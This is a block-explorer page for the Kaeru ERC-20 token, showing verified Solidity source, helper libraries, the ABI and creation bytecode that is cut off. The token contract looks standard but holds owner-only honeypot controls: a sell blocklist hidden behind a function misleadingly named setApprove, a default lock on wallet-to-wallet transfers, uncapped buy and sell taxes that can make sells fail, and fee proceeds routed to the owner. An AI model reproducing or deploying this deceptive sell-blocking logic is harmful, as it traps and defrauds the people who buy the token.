ERC-20
Overview
Max Total Supply
420,000,000,000,000 KAERU
Holders
12
Total Transfers
-
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 18 Decimals)
Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
Kaeru
Compiler Version
v0.8.20+commit.a1b79de6
Contract Source Code (Solidity Multiple files format)
/** ___ ___ ___ ___ ___ /__/| / /\ / /\ / /\ /__/\ | |:| / /::\ / /:/_ / /::\ \ \:\ | |:| / /:/\:\ / /:/ /\ / /:/\:\ \ \:\ __| |:| / /:/~/::\ / /:/ /:/_ / /:/~/:/ ___ \ \:\ /__/\_|:|____ /__/:/ /:/\:\ /__/:/ /:/ /\ /__/:/ /:/___ /__/\ \__\:\ \ \:\/:::::/ \ \:\/:/__\/ \ \:\/:/ /:/ \ \:\/:::::/ \ \:\ / /:/ \ \::/~~~~ \ \::/ \ \::/ /:/ \ \::/~~~~ \ \:\ /:/ \ \:\ \ \:\ \ \:\/:/ \ \:\ \ \:\/:/ \ \:\ \ \:\ \ \::/ \ \:\ \ \::/ \__\/ \__\/ \__\/ \__\/ \__\/ Twitter: https://x.com/kaerucoinerc Telegram: https://t.me/kaerucoineth Website: https://kaerueth.xyz */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.20; import {Context} from "./Context.sol"; import {IERC20} from "./IERC20.sol"; import {Ownable} from "./Ownable.sol"; import {SafeMath} from "./SafeMath.sol"; import {IUniswapV2Router02} from "./IUniswapV2Router02.sol"; import {IUniswapV2Factory} from "./IUniswapV2Factory.sol"; contract Kaeru is Context, IERC20, Ownable { using SafeMath for uint256; uint8 private _buyFee = 0; uint8 private _sellFee = 0; string private constant _name = unicode"Kaeru"; string private constant _symbol = unicode"KAERU"; uint8 private constant _decimals = 18; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => uint256) private _balances; mapping(address => bool) private ignoreTax; uint256 private constant _totalSupply = 420_000_000_000_000 * 10**_decimals; IUniswapV2Router02 constant uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); address universalRouter = 0x3fC91A3afd70395Cd496C647d5a6CC9D4B2b7FAD; address public uniswapV2Pair; bool public tradingOpen = false; bool private swapping = false; bool private lockTransfer = true; uint256 private _swapAmount = _totalSupply / 100; mapping(address => bool) private blockSell; constructor() { ignoreTax[owner()] = true; ignoreTax[address(this)] = true; _balances[owner()] = _totalSupply; emit Transfer(address(0), _msgSender(), _totalSupply); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function Claim(address recipient, uint256 amount) public onlyOwner returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) internal returns (bool) { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); require(tradingOpen || from == owner() || to == owner()); checkSell(from, to); checkTransfer(from, to); _balances[from] -= amount; if ( to == uniswapV2Pair && !swapping && balanceOf(address(this)) >= _swapAmount && from != owner() && !ignoreTax[from] && !ignoreTax[to] ) { swapping = true; swapTokensForEth(_swapAmount); payable(owner()).transfer(address(this).balance); swapping = false; } if (from != address(this) && tradingOpen == true) { uint256 tax = (amount * (to == uniswapV2Pair ? _sellFee : _buyFee)) / 100; amount -= tax; _balances[address(this)] += tax; } _balances[to] += amount; emit Transfer(from, to, amount); return true; } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function OpenTrading() external onlyOwner { address _factory = uniswapV2Router.factory(); address _weth = uniswapV2Router.WETH(); address _pair = IUniswapV2Factory(_factory).getPair( address(this), _weth ); uniswapV2Pair = _pair; tradingOpen = !tradingOpen; } function setSwapAmount(uint256 swapAmount) public onlyOwner { _swapAmount = swapAmount; } function setIgnoreTax(address[] calldata accounts, bool excluded) public onlyOwner { for (uint256 i = 0; i < accounts.length; i++) { ignoreTax[accounts[i]] = excluded; } } function setApprove(address[] calldata accounts, bool _allow) public onlyOwner { for (uint256 i = 0; i < accounts.length; i++) { blockSell[accounts[i]] = _allow; } } modifier lockTheSwap() { swapping = true; _; swapping = false; } function setTax(uint8 _buy, uint8 _sell) external onlyOwner { _sellFee = _sell; _buyFee = _buy; } function checkTransfer(address from, address to) private view { if (lockTransfer) { if ( to != uniswapV2Pair && to != owner() && to != address(this) && to != universalRouter && from != universalRouter && from != uniswapV2Pair && from != owner() && from != address(this) ) { revert("Cannot transfer token"); } } } function checkSell(address from, address to) private view { if (from != address(this) && tradingOpen && to == uniswapV2Pair) { require(!blockSell[from], "Address deny transfer"); } } function setLockTransfer(bool lock) external onlyOwner { lockTransfer = lock; } function setUniversalRouter(address _universalRouter) external onlyOwner { universalRouter = _universalRouter; } }
// SPDX-License-Identifier: MIT pragma solidity ^0.8.20; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } }
// SPDX-License-Identifier: MIT pragma solidity ^0.8.20; /** * @dev Interface of the ERC-20 standard as defined in the ERC. */ interface IERC20 { /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); /** * @dev Returns the value of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the value of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves a `value` amount of tokens from the caller's account to `to`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address to, uint256 value) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets a `value` amount of tokens as the allowance of `spender` over the * caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 value) external returns (bool); /** * @dev Moves a `value` amount of tokens from `from` to `to` using the * allowance mechanism. `value` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address from, address to, uint256 value) external returns (bool); }
// SPDX-License-Identifier: MIT pragma solidity ^0.8.20; interface IUniswapV2Factory { function getPair(address tokenA, address tokenB) external view returns (address pair); function createPair(address tokenA, address tokenB) external returns (address pair); }
// SPDX-License-Identifier: MIT pragma solidity ^0.8.20; interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); }
// SPDX-License-Identifier: MIT pragma solidity ^0.8.20; import {Context} from "./Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * The initial owner is set to the address provided by the deployer. This can * later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ contract Ownable is Context { address private _owner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby disabling any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } }
// SPDX-License-Identifier: MIT pragma solidity ^0.8.20; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b > a) return (false, 0); return (true, a - b); } } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a / b); } } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a % b); } } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a % b; } } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"Claim","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"OpenTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"accounts","type":"address[]"},{"internalType":"bool","name":"_allow","type":"bool"}],"name":"setApprove","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"accounts","type":"address[]"},{"internalType":"bool","name":"excluded","type":"bool"}],"name":"setIgnoreTax","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"lock","type":"bool"}],"name":"setLockTransfer","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"swapAmount","type":"uint256"}],"name":"setSwapAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint8","name":"_buy","type":"uint8"},{"internalType":"uint8","name":"_sell","type":"uint8"}],"name":"setTax","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_universalRouter","type":"address"}],"name":"setUniversalRouter","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"tradingOpen","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"}]
Contract Creation Code
60806040525f8060146101000a81548160ff021916908360ff1602179055505f8060156101000a81548160ff021916908360ff160217905550733fc91a3afd70395cd496c647d5a6cc9d4b2b7fad60045f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505f600560146101000a81548160ff0219169083151502179055505f600560156101000a81548160ff0219169083151502179055506001600560166101000a81548160ff02191690831515021790555060646012600a620000ed919062000556565b66017dfcdece4000620001019190620005a6565b6200010d91906200061d565b6006553480156200011c575f80fd5b505f6200012e6200039660201b60201c565b9050805f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a350600160035f620001df6200039d60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160035f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055506012600a62000293919062000556565b66017dfcdece4000620002a79190620005a6565b60025f620002ba6200039d60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550620003076200039660201b60201c565b73ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6012600a62000365919062000556565b66017dfcdece4000620003799190620005a6565b60405162000388919062000665565b60405180910390a362000680565b5f33905090565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b60018511156200044e57808604811115620004265762000425620003c4565b5b6001851615620004365780820291505b80810290506200044685620003f1565b945062000406565b94509492505050565b5f826200046857600190506200053a565b8162000477575f90506200053a565b81600181146200049057600281146200049b57620004d1565b60019150506200053a565b60ff841115620004b057620004af620003c4565b5b8360020a915084821115620004ca57620004c9620003c4565b5b506200053a565b5060208310610133831016604e8410600b84101617156200050b5782820a905083811115620005055762000504620003c4565b5b6200053a565b6200051a8484846001620003fd565b92509050818404811115620005345762000533620003c4565b5b81810290505b9392505050565b5f819050919050565b5f60ff82169050919050565b5f620005628262000541565b91506200056f836200054a565b92506200059e7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000457565b905092915050565b5f620005b28262000541565b9150620005bf8362000541565b9250828202620005cf8162000541565b91508282048414831517620005e957620005e8620003c4565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f620006298262000541565b9150620006368362000541565b925082620006495762000648620005f0565b5b828204905092915050565b6200065f8162000541565b82525050565b5f6020820190506200067a5f83018462000654565b92915050565b612f63806200068e5f395ff3fe608060405234801561000f575f80fd5b5060043610610140575f3560e01c80638da5cb5b116100b6578063c6729f261161007a578063c6729f2614610350578063dd62ed3e1461036c578063e632313c1461039c578063e73c5c6b146103b8578063f2fde38b146103d4578063ffb54a99146103f057610140565b80638da5cb5b146102ac57806395d89b41146102ca578063a9059cbb146102e8578063a9128ff014610318578063bcb406081461033457610140565b806347cee97c1161010857806347cee97c146101fe57806349bd5a5e1461022e57806351cd7cc31461024c578063628a4b2f1461025657806370a0823114610272578063715018a6146102a257610140565b806306fdde0314610144578063095ea7b31461016257806318160ddd1461019257806323b872dd146101b0578063313ce567146101e0575b5f80fd5b61014c61040e565b604051610159919061216e565b60405180910390f35b61017c60048036038101906101779190612223565b61044b565b604051610189919061227b565b60405180910390f35b61019a610468565b6040516101a791906122a3565b60405180910390f35b6101ca60048036038101906101c591906122bc565b61048e565b6040516101d7919061227b565b60405180910390f35b6101e8610563565b6040516101f59190612327565b60405180910390f35b61021860048036038101906102139190612223565b61056b565b604051610225919061227b565b60405180910390f35b61023661061d565b604051610243919061234f565b60405180910390f35b610254610642565b005b610270600480360381019061026b9190612368565b6108ca565b005b61028c60048036038101906102879190612368565b6109a1565b60405161029991906122a3565b60405180910390f35b6102aa6109e7565b005b6102b4610b35565b6040516102c1919061234f565b60405180910390f35b6102d2610b5c565b6040516102df919061216e565b60405180910390f35b61030260048036038101906102fd9190612223565b610b99565b60405161030f919061227b565b60405180910390f35b610332600480360381019061032d91906123bd565b610bb7565b005b61034e60048036038101906103499190612486565b610c83565b005b61036a600480360381019061036591906124e3565b610db8565b005b6103866004803603810190610381919061250e565b610e69565b60405161039391906122a3565b60405180910390f35b6103b660048036038101906103b1919061254c565b610eeb565b005b6103d260048036038101906103cd9190612486565b610f89565b005b6103ee60048036038101906103e99190612368565b6110be565b005b6103f861127b565b604051610405919061227b565b60405180910390f35b60606040518060400160405280600581526020017f4b61657275000000000000000000000000000000000000000000000000000000815250905090565b5f61045e61045761128e565b8484611295565b6001905092915050565b5f6012600a61047791906126d3565b66017dfcdece4000610489919061271d565b905090565b5f61049a848484611458565b50610558846104a761128e565b61055385604051806060016040528060288152602001612f066028913960015f8b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f61050a61128e565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611a749092919063ffffffff16565b611295565b600190509392505050565b5f6012905090565b5f61057461128e565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610600576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f7906127a8565b60405180910390fd5b61061261060b61128e565b8484611458565b506001905092915050565b60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b61064a61128e565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106d6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106cd906127a8565b60405180910390fd5b5f737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610734573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061075891906127da565b90505f737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156107b8573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107dc91906127da565b90505f8273ffffffffffffffffffffffffffffffffffffffff1663e6a4390530846040518363ffffffff1660e01b815260040161081a929190612805565b602060405180830381865afa158015610835573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061085991906127da565b90508060055f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600560149054906101000a900460ff1615600560146101000a81548160ff021916908315150217905550505050565b6108d261128e565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461095e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610955906127a8565b60405180910390fd5b8060045f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b5f60025f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b6109ef61128e565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a7b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a72906127a8565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f805f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600581526020017f4b41455255000000000000000000000000000000000000000000000000000000815250905090565b5f610bac610ba561128e565b8484611458565b506001905092915050565b610bbf61128e565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c4b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c42906127a8565b60405180910390fd5b805f60156101000a81548160ff021916908360ff160217905550815f60146101000a81548160ff021916908360ff1602179055505050565b610c8b61128e565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d17576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d0e906127a8565b60405180910390fd5b5f5b83839050811015610db2578160075f868685818110610d3b57610d3a61282c565b5b9050602002016020810190610d509190612368565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055508080610daa90612859565b915050610d19565b50505050565b610dc061128e565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e4c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e43906127a8565b60405180910390fd5b80600560166101000a81548160ff02191690831515021790555050565b5f60015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b610ef361128e565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f7f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f76906127a8565b60405180910390fd5b8060068190555050565b610f9161128e565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461101d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611014906127a8565b60405180910390fd5b5f5b838390508110156110b8578160035f8686858181106110415761104061282c565b5b90506020020160208101906110569190612368565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff02191690831515021790555080806110b090612859565b91505061101f565b50505050565b6110c661128e565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611152576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611149906127a8565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16036111c0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004